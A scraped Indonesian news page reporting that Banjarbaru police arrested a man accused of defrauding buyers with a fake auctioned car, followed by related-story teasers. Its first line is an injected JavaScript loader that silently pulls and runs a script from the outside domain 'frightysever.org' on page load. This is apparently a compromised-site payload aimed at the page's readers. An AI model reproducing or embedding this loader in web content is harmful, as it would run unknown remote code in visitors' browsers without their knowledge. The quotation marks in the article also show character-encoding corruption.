(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Satuan Reskrim Polres Banjarbaru berhasil meringkus pelaku penipuan dan penggelapan lintas daerah di Provinsi Kalimantan Timur. Dari informasi yang dihimpun, kejadian berawal saat pelaku menawarkan mobil lelang yang ada di Km 17 Komplek Citra Graha, Kota Banjarbaru pada bulan April lalu.
Setelah korban diajak untuk melihat mobil Daihatsu Gran Max, kemudian pelaku meminta uang muka sebesar Rp 50 juta. Setelah uang diserahkan, pelaku menjanjikan mengantarkan mobil tersebut. Namun, ternyata mobil tak kunjung datang dan pelaku makin sulit dihubungi. Merasa dirugikan korban pun melaporkannya ke Polres Banjarbaru.
Atas kejadian tersebut Sat Reskrim Polres Banjarbaru melakukan penyelidikan dan berhasil mendapatkan informasi terkait keberadaan pelaku yang diketahui bernama H Ahmad Syaifullah (47) warga Sungai Paring, Kabupaten Banjar yang saat itu diketahui berada di Provinsi Kalimantan Timur.
Unit Buser yang dipimpin IPDA Aditya dan IPDA Alhamidie, Kamis (23/5) berangkat untuk mengejar pelaku dan hasil koordinasi dengan Polresta Samarinda Kaltim pun membuahkan hasil. Dimana pelaku ditangkap oleh tim gabungan di daerah Selili Samarinda Provinsi Kalimantan Timur.
“Pelaku kami tangkap tanpa perlawanan dan mengakui perbuatannya sementara itu kami juga mengamankan barang bukti yang dibeli pelaku dari hasil penipuan yang dilakukannya diantaranya berupa TV, Kulkas dan sepeda motor Honda Beat, beberapa buku tabungannya juga kami amankanâ€Â, ucap Ipda Aditya.
Kapolres Banjarbaru AKBP Kelana Jaya melalui Kasat Reskrim Polres Banjarbaru AKP Aryansyah, mengatakan, dari hasil pemeriksaan pemeriksaan terhadap pelaku, diduga Ahmad telah melakukan belasan Penipuan dan Penggelapan dengan modus yang sama di wilayah kota Banjarbaru dan Kabupaten Banjar. “Kini pelaku dan barang bukti sudah diamankan di Polres Banjarbaru dengan sangkaan Pasal 378 dan 372 KUHP dengan ancaman hukuman 4 tahun Penjaraâ€Â, tegas Aryansyah. (Rico)
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan terus memperkuat peran strategis dalam upaya penanganan banjir… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menyampaikan laporan hasil reses… Read More
KANALKALIMANTAN.COM, MARTAPURA - Guna memberikan kenyamanan kepada peziarah dan kebersihan serta kerapian lingkungan di kawasan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sosialisasi Kebijakan dan Strategi Daerah (Jakstrada) Tahun 2026 bertema “Kolaborasi Pengelolaan Sanitasi… Read More
KANALKALIMANTAN.COM, MARTAPURA – Jajaran Bank Syariah Indonesia (BSI) Cabang Martapura melakukan audiensi ke Bupati Banjar… Read More
KANALKALIMANTAN.COM, BANJARBARU - Komisi III DPRD Banjarbaru meninjau Satuan Pemenuhan Pelayanan Gizi (SPPG) yang diduga… Read More
This website uses cookies.